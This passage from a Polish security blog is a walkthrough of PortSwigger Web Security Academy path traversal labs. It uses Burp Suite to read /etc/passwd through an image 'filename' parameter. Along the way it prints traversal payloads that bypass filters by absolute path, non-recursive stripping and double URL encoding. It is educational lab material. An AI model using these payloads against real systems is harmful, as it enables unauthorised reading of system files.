<figure class="wp-block-image size-large"><a href="https://pentestuj.pl/wp-content/uploads/2024/11/path-traversal-web-security-academy-2.png"><img loading="lazy" decoding="async" width="1024" height="556" src="https://pentestuj.pl/wp-content/uploads/2024/11/path-traversal-web-security-academy-2-1024x556.png" alt="File path traversal, simple case" class="wp-image-15007" srcset="https://pentestuj.pl/wp-content/uploads/2024/11/path-traversal-web-security-academy-2-1024x556.png 1024w, https://pentestuj.pl/wp-content/uploads/2024/11/path-traversal-web-security-academy-2-300x163.png 300w, https://pentestuj.pl/wp-content/uploads/2024/11/path-traversal-web-security-academy-2-768x417.png 768w, https://pentestuj.pl/wp-content/uploads/2024/11/path-traversal-web-security-academy-2-1536x834.png 1536w, https://pentestuj.pl/wp-content/uploads/2024/11/path-traversal-web-security-academy-2.png 1553w" sizes="auto, (max-width: 1024px) 100vw, 1024px" data-mwl-img-id="15007" /></a></figure>



<p class="wp-block-paragraph"> Żeby to włączyć, w zakładce <strong>Proxy -&gt; HTTP History</strong> kliknij <strong>Filter settings: Hiding CSS and general binary content</strong>. Następnie zaznacz checkbox <strong>Images</strong>.</p>



<figure class="wp-block-image size-large"><a href="https://pentestuj.pl/wp-content/uploads/2024/11/path-traversal-web-security-academy-3-1.png"><img loading="lazy" decoding="async" width="1024" height="520" src="https://pentestuj.pl/wp-content/uploads/2024/11/path-traversal-web-security-academy-3-1-1024x520.png" alt="File path traversal, simple case" class="wp-image-15015" srcset="https://pentestuj.pl/wp-content/uploads/2024/11/path-traversal-web-security-academy-3-1-1024x520.png 1024w, https://pentestuj.pl/wp-content/uploads/2024/11/path-traversal-web-security-academy-3-1-300x152.png 300w, https://pentestuj.pl/wp-content/uploads/2024/11/path-traversal-web-security-academy-3-1-768x390.png 768w, https://pentestuj.pl/wp-content/uploads/2024/11/path-traversal-web-security-academy-3-1.png 1470w" sizes="auto, (max-width: 1024px) 100vw, 1024px" data-mwl-img-id="15015" /></a></figure>



<p class="wp-block-paragraph">Od teraz interesujące nas żądanie pojawiło się w historii. Klikamy na nie prawym przyciskiem myszy i wysyłamy do Repeatera. Dzięki temu będziemy mogli zmodyfikować je dodając nasz payload i ponownie wysyłając do serwera.</p>



<figure class="wp-block-image size-large"><a href="https://pentestuj.pl/wp-content/uploads/2024/11/path-traversal-portswigger-1.png"><img loading="lazy" decoding="async" width="1024" height="553" src="https://pentestuj.pl/wp-content/uploads/2024/11/path-traversal-portswigger-1-1024x553.png" alt="path traversal zadanie z websecurity academy" class="wp-image-15018" srcset="https://pentestuj.pl/wp-content/uploads/2024/11/path-traversal-portswigger-1-1024x553.png 1024w, https://pentestuj.pl/wp-content/uploads/2024/11/path-traversal-portswigger-1-300x162.png 300w, https://pentestuj.pl/wp-content/uploads/2024/11/path-traversal-portswigger-1-768x415.png 768w, https://pentestuj.pl/wp-content/uploads/2024/11/path-traversal-portswigger-1.png 1052w" sizes="auto, (max-width: 1024px) 100vw, 1024px" data-mwl-img-id="15018" /></a></figure>



<p class="wp-block-paragraph">Teraz spróbujemy przejść o jeden katalog wyżej i wyświetlić zawartość <code>etc/passwd</code> zastępując nazwę pliku w parametrze <code>filename</code> sekwencją:</p>



<pre class="wp-block-code"><code class="">../etc/passwd</code></pre>



<p class="wp-block-paragraph">Po wpisaniu naszego payloada w parametrze <code>filename</code> klikamy przycisk <strong>Send</strong>. W ten sposób wyślemy zmodyfikowane żądanie do serwera. Niestety w odpowiedzi mamy informację <strong>&#8222;No such file&#8221;</strong>, tak więc payload nie zadziałał.</p>



<figure class="wp-block-image size-large"><a href="https://pentestuj.pl/wp-content/uploads/2024/11/path-traversal-portswigger-2-1.png"><img loading="lazy" decoding="async" width="1024" height="403" src="https://pentestuj.pl/wp-content/uploads/2024/11/path-traversal-portswigger-2-1-1024x403.png" alt="path traversal portswigger zadanie" class="wp-image-15020" srcset="https://pentestuj.pl/wp-content/uploads/2024/11/path-traversal-portswigger-2-1-1024x403.png 1024w, https://pentestuj.pl/wp-content/uploads/2024/11/path-traversal-portswigger-2-1-300x118.png 300w, https://pentestuj.pl/wp-content/uploads/2024/11/path-traversal-portswigger-2-1-768x303.png 768w, https://pentestuj.pl/wp-content/uploads/2024/11/path-traversal-portswigger-2-1.png 1226w" sizes="auto, (max-width: 1024px) 100vw, 1024px" data-mwl-img-id="15020" /></a></figure>



<p class="wp-block-paragraph">Spróbujmy przejść o jeszcze jeden katalog wyżej dodając sekwencję <code>../</code></p>



<pre class="wp-block-code"><code class="">../../etc/passwd</code></pre>



<figure class="wp-block-image size-large"><a href="https://pentestuj.pl/wp-content/uploads/2024/11/path-traversal-portswigger-3.png"><img loading="lazy" decoding="async" width="1024" height="396" src="https://pentestuj.pl/wp-content/uploads/2024/11/path-traversal-portswigger-3-1024x396.png" alt="path traversal portswigger zadanie" class="wp-image-15005" srcset="https://pentestuj.pl/wp-content/uploads/2024/11/path-traversal-portswigger-3-1024x396.png 1024w, https://pentestuj.pl/wp-content/uploads/2024/11/path-traversal-portswigger-3-300x116.png 300w, https://pentestuj.pl/wp-content/uploads/2024/11/path-traversal-portswigger-3-768x297.png 768w, https://pentestuj.pl/wp-content/uploads/2024/11/path-traversal-portswigger-3.png 1223w" sizes="auto, (max-width: 1024px) 100vw, 1024px" data-mwl-img-id="15005" /></a></figure>



<p class="wp-block-paragraph">Niestety nadal nie działa. Spróbujmy przejść jeszcze wyżej:</p>



<pre class="wp-block-code"><code class="">../../../etc/passwd</code></pre>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="611" src="https://pentestuj.pl/wp-content/uploads/2024/11/file-path-traversal-simple-5-1024x611.png" alt="path traversal zadanie z websecurity academy" class="wp-image-15002" srcset="https://pentestuj.pl/wp-content/uploads/2024/11/file-path-traversal-simple-5-1024x611.png 1024w, https://pentestuj.pl/wp-content/uploads/2024/11/file-path-traversal-simple-5-300x179.png 300w, https://pentestuj.pl/wp-content/uploads/2024/11/file-path-traversal-simple-5-768x458.png 768w, https://pentestuj.pl/wp-content/uploads/2024/11/file-path-traversal-simple-5-1536x916.png 1536w, https://pentestuj.pl/wp-content/uploads/2024/11/file-path-traversal-simple-5.png 1549w" sizes="auto, (max-width: 1024px) 100vw, 1024px" data-mwl-img-id="15002" /></figure>



<p class="wp-block-paragraph">Udało się. W odpowiedzi otrzymaliśmy zawartość pliku <code>etc/passwd</code>.</p>



<div class="wp-block-ps2id-block-target" id="zadanie-nr-2"></div>



<h2 class="wp-block-heading">File Path Traversal, traversal sequences blocked with absolute path bypass &#8211; zadanie numer 2</h2>



<div class="wp-block-kadence-advancedbtn kb-buttons-wrap kb-btns14995_bc7f54-e8"><a class="kb-button kt-button button kb-btn14995_7c935f-e8 kt-btn-size-small kt-btn-width-type-auto kb-btn-global-fill kt-btn-has-text-true kt-btn-has-svg-false wp-block-kadence-singlebtn" href="https://portswigger.net/web-security/file-path-traversal/lab-absolute-path-bypass" target="_blank" rel="noreferrer noopener nofollow sponsored"><span class="kt-btn-inner-text">Przejdź do zadania</span></a></div>



<p class="wp-block-paragraph"><strong>Treść zadania:</strong></p>



<figure class="wp-block-image size-full"><a href="https://pentestuj.pl/wp-content/uploads/2024/11/file-path-traversal-traversal-sequences-blocked-with-absolute-path-bypass.png"><img loading="lazy" decoding="async" width="848" height="153" src="https://pentestuj.pl/wp-content/uploads/2024/11/file-path-traversal-traversal-sequences-blocked-with-absolute-path-bypass.png" alt="File path traversal, traversal sequences blocked with absolute path bypass" class="wp-image-15123" srcset="https://pentestuj.pl/wp-content/uploads/2024/11/file-path-traversal-traversal-sequences-blocked-with-absolute-path-bypass.png 848w, https://pentestuj.pl/wp-content/uploads/2024/11/file-path-traversal-traversal-sequences-blocked-with-absolute-path-bypass-300x54.png 300w, https://pentestuj.pl/wp-content/uploads/2024/11/file-path-traversal-traversal-sequences-blocked-with-absolute-path-bypass-768x139.png 768w" sizes="auto, (max-width: 848px) 100vw, 848px" data-mwl-img-id="15123" /></a></figure>



<p class="wp-block-paragraph">Tu również luka znajduje się w mechanizmie wyświetlania obrazka produktu i też musimy odczytać zawartość pliku <code>etc/passwd</code>. Jednak aplikacja blokuje sekwencje przechodzenia do katalogu wyżej, tak więc sekwencja <code>../</code> raczej tu nie zadziała, ale i tak spróbujemy jej użyć 😉</p>



<p class="wp-block-paragraph">Odpalamy Burp Suite, przechodzimy na podstronę z wybranym produktem. Następnie z poziomu Burp Suite przechodzimy do zakładki <strong>Proxy -&gt; HTTP History</strong> i znajdujemy żądanie wyświetlenia grafiki do wybranego produktu. Jeśli żądanie się u Ciebie nie wyświetla, patrz punkt wyżej (w poprzednim zadaniu wyjaśniam co należy zrobić).</p>



<p class="wp-block-paragraph">Następnie przesyłamy żądanie do Repeatera i wstawiamy w parametrze <code>filename</code> payload z poprzedniego laboratorium:</p>



<figure class="wp-block-image size-large"><a href="https://pentestuj.pl/wp-content/uploads/2024/11/file-path-traversal-traversal-sequences-blocked-with-absolute-path-bypass-2.png"><img loading="lazy" decoding="async" width="1024" height="412" src="https://pentestuj.pl/wp-content/uploads/2024/11/file-path-traversal-traversal-sequences-blocked-with-absolute-path-bypass-2-1024x412.png" alt="File path traversal, traversal sequences blocked with absolute path bypass" class="wp-image-15030" srcset="https://pentestuj.pl/wp-content/uploads/2024/11/file-path-traversal-traversal-sequences-blocked-with-absolute-path-bypass-2-1024x412.png 1024w, https://pentestuj.pl/wp-content/uploads/2024/11/file-path-traversal-traversal-sequences-blocked-with-absolute-path-bypass-2-300x121.png 300w, https://pentestuj.pl/wp-content/uploads/2024/11/file-path-traversal-traversal-sequences-blocked-with-absolute-path-bypass-2-768x309.png 768w, https://pentestuj.pl/wp-content/uploads/2024/11/file-path-traversal-traversal-sequences-blocked-with-absolute-path-bypass-2.png 1239w" sizes="auto, (max-width: 1024px) 100vw, 1024px" data-mwl-img-id="15030" /></a></figure>



<p class="wp-block-paragraph">Tak jak przypuszczaliśmy, to nie zadziała. W aplikacji został wdrożony mechanizm zabezpieczający, który usuwa z zapytania ciąg znaków <code>../</code>, tak więc musimy jakoś to ominąć.</p>



<p class="wp-block-paragraph">W opisie laboratorium mamy wskazówkę <strong>„treats the supplied filename as being relative to a default working directory”</strong>. Chodzi o to, że wartość przekazana w parametrze <code>filename</code> (domyślnie jest to nazwa pliku wraz z rozszerzeniem) traktowana jest jako względna (relatywna) w stosunku do domyślnego katalogu roboczego. Przypomnijmy sobie czym jest ścieżka względna (relatywna) oraz bezwzględna (absolutna):</p>



<p class="has-black-color has-pale-cyan-blue-background-color has-text-color has-background has-link-color wp-elements-15 wp-block-paragraph"><strong>Ścieżka względna (relatywna)</strong> &#8211; określa lokalizację pliku lub folderu w&nbsp;odniesieniu do bieżącego katalogu. <br><br>Przykład ścieżki względnej:<br>./images/45.jpg<br><br>gdzie:<br><strong>. (znak kropki)</strong> &#8211; oznacza bieżący katalog,<br><strong>images</strong> &#8211; nazwa folderu w którym znajduje się nasz plik,<br><strong>45.jpg </strong>&#8211; nazwa pliku graficznego, który chcemy odczytać.<br><br><strong>Ścieżka bezwzględna (absolutna) </strong>&#8211; określa pełną ścieżkę począwszy od katalogu głównego aż do wybranego katalogu lub pliku, czyli zaczyna się aż od korzenia systemu plików do danego pliku.<br><br>Przykłady ścieżki bezwzględnej:<br>/var/www/images/45.jpg<br>/etc/passwd</p>



<p class="wp-block-paragraph">W tym laboratorium aplikacja usuwa z zapytania sekwencję <code>../</code>, tak więc nie możemy w ten sposób wyjść poza bieżący katalog. Spróbujmy zatem podać absolutną ścieżkę do pliku <code>passwd</code>. Plik ten znajduje się w lokalizacji:</p>



<pre class="wp-block-code"><code class="">/etc/passwd</code></pre>



<p class="wp-block-paragraph">Jak widzimy na poniższym zrzucie udało nam się obejść zabezpieczenie.</p>



<figure class="wp-block-image size-large"><a href="https://pentestuj.pl/wp-content/uploads/2024/11/file-path-traversal-traversal-sequences-blocked-with-absolute-path-bypass-3.png"><img loading="lazy" decoding="async" width="1024" height="623" src="https://pentestuj.pl/wp-content/uploads/2024/11/file-path-traversal-traversal-sequences-blocked-with-absolute-path-bypass-3-1024x623.png" alt="File path traversal, traversal sequences blocked with absolute path bypass" class="wp-image-15031" srcset="https://pentestuj.pl/wp-content/uploads/2024/11/file-path-traversal-traversal-sequences-blocked-with-absolute-path-bypass-3-1024x623.png 1024w, https://pentestuj.pl/wp-content/uploads/2024/11/file-path-traversal-traversal-sequences-blocked-with-absolute-path-bypass-3-300x182.png 300w, https://pentestuj.pl/wp-content/uploads/2024/11/file-path-traversal-traversal-sequences-blocked-with-absolute-path-bypass-3-768x467.png 768w, https://pentestuj.pl/wp-content/uploads/2024/11/file-path-traversal-traversal-sequences-blocked-with-absolute-path-bypass-3.png 1537w" sizes="auto, (max-width: 1024px) 100vw, 1024px" data-mwl-img-id="15031" /></a></figure>



<h2 class="wp-block-heading">File Path Traversal, traversal sequences stripped non-recursively &#8211; zadanie numer 3</h2>



<div class="wp-block-kadence-advancedbtn kb-buttons-wrap kb-btns14995_6eab28-d1"><a class="kb-button kt-button button kb-btn14995_60b183-03 kt-btn-size-small kt-btn-width-type-auto kb-btn-global-fill kt-btn-has-text-true kt-btn-has-svg-false wp-block-kadence-singlebtn" href="https://portswigger.net/web-security/file-path-traversal/lab-sequences-stripped-non-recursively" target="_blank" rel="noreferrer noopener nofollow sponsored"><span class="kt-btn-inner-text">Przejdź do zadania</span></a></div>



<p class="wp-block-paragraph">W kolejnym laboratorium również musimy wyświetlić zawartość pliku <code>etc/passwd</code>. Luka też jest w mechanizmie wyświetlania obrazków produktów. Tu też jest wdrożony mechanizm zabezpieczający, który usuwa sekwencję <code>../</code></p>



<p class="wp-block-paragraph"><strong>Treść zadania:</strong></p>



<figure class="wp-block-image size-full"><a href="https://pentestuj.pl/wp-content/uploads/2024/11/file-path-traversal-traversal-sequences-stripped-non-recursively.png"><img decoding="async" src="https://pentestuj.pl/wp-content/uploads/2024/11/file-path-traversal-traversal-sequences-stripped-non-recursively.png" alt="File path traversal, traversal sequences stripped non-recursively" class="wp-image-15125" data-mwl-img-id="15125"/></a></figure>



<p class="wp-block-paragraph">W tym laboratorium nie zadziałają payloady z poprzednich zadań:</p>



<ul class="wp-block-list">
<li><code>../../../etc/passwd</code></li>



<li><code>/etc/passwd</code></li>
</ul>



<p class="wp-block-paragraph">Czasem zdarza się tak, że mechanizm zabezpieczający usuwa sekwencję <code>../</code> bez ponownego sprawdzania żądania. Po prostu usuwane jest tylko pierwsze wystąpienie sekwencji <code>../</code></p>



<p class="wp-block-paragraph">Żeby to sprawdzić do naszego żądania dodajmy poniższy payload:</p>



<pre class="wp-block-code"><code class="">....//....//....//etc/passwd</code></pre>



<p class="wp-block-paragraph">Mechanizm zabezpieczający usunie poniższe znaki:</p>



<figure class="wp-block-image size-full is-resized"><a href="https://pentestuj.pl/wp-content/uploads/2024/11/path-traversal-portswigger.png"><img loading="lazy" decoding="async" width="800" height="211" src="https://pentestuj.pl/wp-content/uploads/2024/11/path-traversal-portswigger.png" alt="" class="wp-image-15050" style="width:600px" srcset="https://pentestuj.pl/wp-content/uploads/2024/11/path-traversal-portswigger.png 800w, https://pentestuj.pl/wp-content/uploads/2024/11/path-traversal-portswigger-300x79.png 300w, https://pentestuj.pl/wp-content/uploads/2024/11/path-traversal-portswigger-768x203.png 768w" sizes="auto, (max-width: 800px) 100vw, 800px" data-mwl-img-id="15050" /></a></figure>



<p class="wp-block-paragraph">Po tym zabiegu nasze zapytanie będzie miało odpowiednią strukturę:</p>



<figure class="wp-block-image size-full is-resized"><a href="https://pentestuj.pl/wp-content/uploads/2024/11/path-traversal-portswigger-2-2.png"><img loading="lazy" decoding="async" width="335" height="93" src="https://pentestuj.pl/wp-content/uploads/2024/11/path-traversal-portswigger-2-2.png" alt="" class="wp-image-15052" style="width:400px" srcset="https://pentestuj.pl/wp-content/uploads/2024/11/path-traversal-portswigger-2-2.png 335w, https://pentestuj.pl/wp-content/uploads/2024/11/path-traversal-portswigger-2-2-300x83.png 300w" sizes="auto, (max-width: 335px) 100vw, 335px" data-mwl-img-id="15052" /></a></figure>



<p class="wp-block-paragraph">Sprawdźmy czy to zadziała.</p>



<figure class="wp-block-image size-large"><a href="https://pentestuj.pl/wp-content/uploads/2024/11/file-path-traversal-traversal-sequences-stripped-non-recursively-2.png"><img loading="lazy" decoding="async" width="1024" height="764" src="https://pentestuj.pl/wp-content/uploads/2024/11/file-path-traversal-traversal-sequences-stripped-non-recursively-2-1024x764.png" alt="File path traversal, traversal sequences stripped non-recursively" class="wp-image-15062" srcset="https://pentestuj.pl/wp-content/uploads/2024/11/file-path-traversal-traversal-sequences-stripped-non-recursively-2-1024x764.png 1024w, https://pentestuj.pl/wp-content/uploads/2024/11/file-path-traversal-traversal-sequences-stripped-non-recursively-2-300x224.png 300w, https://pentestuj.pl/wp-content/uploads/2024/11/file-path-traversal-traversal-sequences-stripped-non-recursively-2-768x573.png 768w, https://pentestuj.pl/wp-content/uploads/2024/11/file-path-traversal-traversal-sequences-stripped-non-recursively-2.png 1240w" sizes="auto, (max-width: 1024px) 100vw, 1024px" data-mwl-img-id="15062" /></a></figure>



<figure class="wp-block-image size-full"><a href="https://pentestuj.pl/wp-content/uploads/2024/11/file-path-traversal-traversal-sequences-stripped-non-recursively-3.png"><img loading="lazy" decoding="async" width="847" height="372" src="https://pentestuj.pl/wp-content/uploads/2024/11/file-path-traversal-traversal-sequences-stripped-non-recursively-3.png" alt="File path traversal, traversal sequences stripped non-recursively" class="wp-image-15063" srcset="https://pentestuj.pl/wp-content/uploads/2024/11/file-path-traversal-traversal-sequences-stripped-non-recursively-3.png 847w, https://pentestuj.pl/wp-content/uploads/2024/11/file-path-traversal-traversal-sequences-stripped-non-recursively-3-300x132.png 300w, https://pentestuj.pl/wp-content/uploads/2024/11/file-path-traversal-traversal-sequences-stripped-non-recursively-3-768x337.png 768w" sizes="auto, (max-width: 847px) 100vw, 847px" data-mwl-img-id="15063" /></a></figure>



<figure class="wp-block-image size-large"><a href="https://pentestuj.pl/wp-content/uploads/2024/11/file-path-traversal-traversal-sequences-stripped-non-recursively-4.png"><img loading="lazy" decoding="async" width="1024" height="397" src="https://pentestuj.pl/wp-content/uploads/2024/11/file-path-traversal-traversal-sequences-stripped-non-recursively-4-1024x397.png" alt="File path traversal, traversal sequences stripped non-recursively" class="wp-image-15064" srcset="https://pentestuj.pl/wp-content/uploads/2024/11/file-path-traversal-traversal-sequences-stripped-non-recursively-4-1024x397.png 1024w, https://pentestuj.pl/wp-content/uploads/2024/11/file-path-traversal-traversal-sequences-stripped-non-recursively-4-300x116.png 300w, https://pentestuj.pl/wp-content/uploads/2024/11/file-path-traversal-traversal-sequences-stripped-non-recursively-4-768x298.png 768w, https://pentestuj.pl/wp-content/uploads/2024/11/file-path-traversal-traversal-sequences-stripped-non-recursively-4-1536x596.png 1536w, https://pentestuj.pl/wp-content/uploads/2024/11/file-path-traversal-traversal-sequences-stripped-non-recursively-4.png 1557w" sizes="auto, (max-width: 1024px) 100vw, 1024px" data-mwl-img-id="15064" /></a></figure>



<p class="wp-block-paragraph">Udało nam się wyświetlić zawartość pliku <code>passwd</code>.</p>



<h2 class="wp-block-heading">File Path Traversal, traversal sequences stripped with superfluous URL-decode &#8211; zadanie numer 4</h2>



<div class="wp-block-kadence-advancedbtn kb-buttons-wrap kb-btns14995_1f0924-60"><a class="kb-button kt-button button kb-btn14995_17b6d3-d3 kt-btn-size-small kt-btn-width-type-auto kb-btn-global-fill kt-btn-has-text-true kt-btn-has-svg-false wp-block-kadence-singlebtn" href="https://portswigger.net/web-security/file-path-traversal/lab-superfluous-url-decode" target="_blank" rel="noreferrer noopener nofollow sponsored"><span class="kt-btn-inner-text">Przejdź do zadania</span></a></div>



<p class="wp-block-paragraph">W kolejnym zadaniu również musimy wyświetlić zawartość pliku <code>etc/passwd</code>. Luka też jest w mechanizmie wyświetlania obrazków produktów.</p>



<p class="wp-block-paragraph"><strong>Treść zadania:</strong></p>



<figure class="wp-block-image size-full"><a href="https://pentestuj.pl/wp-content/uploads/2024/11/path-traversal.png"><img loading="lazy" decoding="async" width="859" height="157" src="https://pentestuj.pl/wp-content/uploads/2024/11/path-traversal.png" alt="File path traversal, traversal sequences stripped with superfluous URL-decode" class="wp-image-15128" srcset="https://pentestuj.pl/wp-content/uploads/2024/11/path-traversal.png 859w, https://pentestuj.pl/wp-content/uploads/2024/11/path-traversal-300x55.png 300w, https://pentestuj.pl/wp-content/uploads/2024/11/path-traversal-768x140.png 768w" sizes="auto, (max-width: 859px) 100vw, 859px" data-mwl-img-id="15128" /></a></figure>



<p class="wp-block-paragraph">Dużą wskazówkę znajdujemy w opisie tego laboratorium. Sekwencja przechodzenia do katalogu nadrzędnego (czyli <code>../</code>) jest usuwana z zapytania, ale mechanizm zanim użyje przekazanych danych w parametrze <code>filename</code> wykonuje dekodowanie adresu URL. Czyli dekoduje ciąg znaków zakodowanych za pomocą kodowania URL (kodowanie procentowe) na tekst jawny.</p>



<p class="wp-block-paragraph">Na pewno payloady z poprzednich zadań nie zadziałają:</p>



<ul class="wp-block-list">
<li><code>../../../etc/passwd</code></li>



<li><code>/etc/passwd</code></li>



<li><code>....//....//....//etc/passwd</code></li>
</ul>



<p class="wp-block-paragraph">Jednak co się stanie, jeśli zakodujemy sekwencję <code>../</code> za pomocą kodowania URL? Wtedy system zabezpieczający &#8222;nie zobaczy&#8221;, że jest to sekwencja <code>../</code>, więc przepuści nasz payload i zrobi na nim dekodowanie.</p>


<div class="kb-row-layout-wrap kb-row-layout-id14995_60874e-21 alignnone kt-row-has-bg wp-block-kadence-rowlayout"><div class="kt-row-column-wrap kt-has-1-columns kt-row-layout-equal kt-tab-layout-inherit kt-mobile-layout-row kt-row-valign-top">

<div class="wp-block-kadence-column kadence-column14995_227104-05"><div class="kt-inside-inner-col">
<p class="has-black-color has-text-color has-link-color wp-elements-16 wp-block-paragraph"><strong>Czym jest kodowanie URL?</strong></p>



<p class="has-black-color has-text-color has-link-color wp-elements-17 wp-block-paragraph">Kodowanie URL (ang. <em>URL encoding</em>), zwane także kodowaniem procentowym, to proces przekształcania znaków w adresie URL na format, który jest zrozumiały dla przeglądarek oraz serwerów. Adresy URL mogą zawierać tylko określony zestaw znaków (litery, cyfry oraz kilka znaków specjalnych), a znaki, które nie są w tym zestawie, muszą być zakodowane. Podczas kodowania URL każdy nieakceptowany znak jest zamieniany na poprzedzoną znakiem procenta (%) dwucyfrową wartość heksadecymalną zapisaną w <a href="https://pl.wikipedia.org/wiki/ASCII" target="_blank" rel="noreferrer noopener nofollow">ASCII</a> np.:</p>



<ul class="wp-block-list has-black-color has-text-color has-link-color wp-elements-18">
<li>Spacja ( ) jest kodowana jako %20</li>



<li style="font-size:clamp(14px, 0.875rem + ((1vw - 3.2px) * 0.156), 16px);">Znak &amp; jest kodowany jako %26</li>



<li>Polskie znaki, jak ł czy ę, również są zamieniane na ich reprezentację w kodzie procentowym.</li>
</ul>



<p class="has-black-color has-text-color has-link-color wp-elements-19 wp-block-paragraph">URL bez kodowania:<br>https://example.com/szukaj?zapytanie=Nowy Jork &amp; kultura</p>



<p class="has-black-color has-text-color has-link-color wp-elements-20 wp-block-paragraph">Zakodowany URL:<br>https://example.com/szukaj?zapytanie=Nowy%20Jork%20%26%20kultura</p>
</div></div>

</div></div>


<p class="wp-block-paragraph">Najpierw spróbujemy zakodować ciąg: <code>../../../</code></p>



<figure class="wp-block-table is-style-regular"><table class="has-fixed-layout"><thead><tr><th>Znak</th><th>Kodowanie URL</th></tr></thead><tbody><tr><td>.</td><td>%2E</td></tr><tr><td>/</td><td>%2F</td></tr></tbody></table></figure>



<p class="wp-block-paragraph">Zatem poniższa sekwencja:</p>



<pre class="wp-block-code"><code class="">../../../etc/passwd</code></pre>



<p class="wp-block-paragraph">będzie mieć postać:</p>



<pre class="wp-block-code"><code class="">%2E%2E%2F%2E%2E%2F%2E%2E%2Fetc/passwd</code></pre>



<p class="wp-block-paragraph">Sprawdźmy czy to zadziała.</p>



<figure class="wp-block-image size-large"><a href="https://pentestuj.pl/wp-content/uploads/2024/11/file-path-traversal-traversal-sequences-stripped-with-superfluous-URL-decode.png"><img loading="lazy" decoding="async" width="1024" height="733" src="https://pentestuj.pl/wp-content/uploads/2024/11/file-path-traversal-traversal-sequences-stripped-with-superfluous-URL-decode-1024x733.png" alt="" class="wp-image-15077" srcset="https://pentestuj.pl/wp-content/uploads/2024/11/file-path-traversal-traversal-sequences-stripped-with-superfluous-URL-decode-1024x733.png 1024w, https://pentestuj.pl/wp-content/uploads/2024/11/file-path-traversal-traversal-sequences-stripped-with-superfluous-URL-decode-300x215.png 300w, https://pentestuj.pl/wp-content/uploads/2024/11/file-path-traversal-traversal-sequences-stripped-with-superfluous-URL-decode-768x550.png 768w, https://pentestuj.pl/wp-content/uploads/2024/11/file-path-traversal-traversal-sequences-stripped-with-superfluous-URL-decode.png 1268w" sizes="auto, (max-width: 1024px) 100vw, 1024px" data-mwl-img-id="15077" /></a></figure>



<figure class="wp-block-image size-full"><a href="https://pentestuj.pl/wp-content/uploads/2024/11/file-path-traversal-traversal-sequences-stripped-with-superfluous-URL-decode-3.png"><img loading="lazy" decoding="async" width="767" height="448" src="https://pentestuj.pl/wp-content/uploads/2024/11/file-path-traversal-traversal-sequences-stripped-with-superfluous-URL-decode-3.png" alt="" class="wp-image-15079" srcset="https://pentestuj.pl/wp-content/uploads/2024/11/file-path-traversal-traversal-sequences-stripped-with-superfluous-URL-decode-3.png 767w, https://pentestuj.pl/wp-content/uploads/2024/11/file-path-traversal-traversal-sequences-stripped-with-superfluous-URL-decode-3-300x175.png 300w" sizes="auto, (max-width: 767px) 100vw, 767px" data-mwl-img-id="15079" /></a></figure>



<figure class="wp-block-image size-large"><a href="https://pentestuj.pl/wp-content/uploads/2024/11/file-path-traversal-traversal-sequences-stripped-with-superfluous-URL-decode-2.png"><img loading="lazy" decoding="async" width="1024" height="427" src="https://pentestuj.pl/wp-content/uploads/2024/11/file-path-traversal-traversal-sequences-stripped-with-superfluous-URL-decode-2-1024x427.png" alt="" class="wp-image-15078" srcset="https://pentestuj.pl/wp-content/uploads/2024/11/file-path-traversal-traversal-sequences-stripped-with-superfluous-URL-decode-2-1024x427.png 1024w, https://pentestuj.pl/wp-content/uploads/2024/11/file-path-traversal-traversal-sequences-stripped-with-superfluous-URL-decode-2-300x125.png 300w, https://pentestuj.pl/wp-content/uploads/2024/11/file-path-traversal-traversal-sequences-stripped-with-superfluous-URL-decode-2-768x321.png 768w, https://pentestuj.pl/wp-content/uploads/2024/11/file-path-traversal-traversal-sequences-stripped-with-superfluous-URL-decode-2.png 1198w" sizes="auto, (max-width: 1024px) 100vw, 1024px" data-mwl-img-id="15078" /></a></figure>



<p class="wp-block-paragraph">Niestety to nie zadziałało, ale możemy jeszcze spróbować użyć podwójnego kodowania. Czyli najpierw kodujemy ciąg <code>../../../</code>, a potem jeszcze raz kodujemy ciąg <code>%2E%2E%2F%2E%2E%2F%2E%2E%2F</code></p>



<figure class="wp-block-table is-style-regular"><table class="has-fixed-layout"><thead><tr><th>Znak</th><th>Kodowanie URL</th><th>Podwójne kodowanie URL</th></tr></thead><tbody><tr><td>.</td><td>%2E</td><td>%252E</td></tr><tr><td>/</td><td>%2F</td><td>%252F</td></tr></tbody></table></figure>



<p class="wp-block-paragraph">Ostatecznie nasz payload będzie miał postać:</p>



<pre class="wp-block-code"><code class="">%252E%252E%252F%252E%252E%252F%252E%252E%252Fetc/passwd</code></pre>



<figure class="wp-block-image size-large is-resized"><a href="https://pentestuj.pl/wp-content/uploads/2024/11/file-path-traversal-traversal-sequences-stripped-with-superfluous-URL-decode-4.png"><img loading="lazy" decoding="async" width="1024" height="342" src="https://pentestuj.pl/wp-content/uploads/2024/11/file-path-traversal-traversal-sequences-stripped-with-superfluous-URL-decode-4-1024x342.png" alt="File path traversal, traversal sequences stripped with superfluous URL-decode" class="wp-image-15085" style="width:786px;height:auto" srcset="https://pentestuj.pl/wp-content/uploads/2024/11/file-path-traversal-traversal-sequences-stripped-with-superfluous-URL-decode-4-1024x342.png 1024w, https://pentestuj.pl/wp-content/uploads/2024/11/file-path-traversal-traversal-sequences-stripped-with-superfluous-URL-decode-4-300x100.png 300w, https://pentestuj.pl/wp-content/uploads/2024/11/file-path-traversal-traversal-sequences-stripped-with-superfluous-URL-decode-4-768x256.png 768w, https://pentestuj.pl/wp-content/uploads/2024/11/file-path-traversal-traversal-sequences-stripped-with-superfluous-URL-decode-4.png 1447w" sizes="auto, (max-width: 1024px) 100vw, 1024px" data-mwl-img-id="15085" /></a></figure>



<p class="wp-block-paragraph">Tym razem nasz payload zadziałał.</p>



<h2 class="wp-block-heading">File Path Traversal, validation of start of path &#8211; zadanie numer 5</h2>



<div class="wp-block-kadence-advancedbtn kb-buttons-wrap kb-btns14995_7cceac-53"><a class="kb-button kt-button button kb-btn14995_fbaeab-f1 kt-btn-size-small kt-btn-width-type-auto kb-btn-global-fill kt-btn-has-text-true kt-btn-has-svg-false wp-block-kadence-singlebtn" href="https://portswigger.net/web-security/file-path-traversal/lab-validate-start-of-path" target="_blank" rel="noreferrer noopener nofollow sponsored"><span class="kt-btn-inner-text">Przejdź do zadania</span></a></div>



<p class="wp-block-paragraph">W kolejnym zadaniu również musimy wyświetlić zawartość pliku <code>etc/passwd</code>. Luka też jest w mechanizmie wyświetlania obrazków produktów.</p>



<p class="wp-block-paragraph"><strong>Treść zadania:</strong></p>



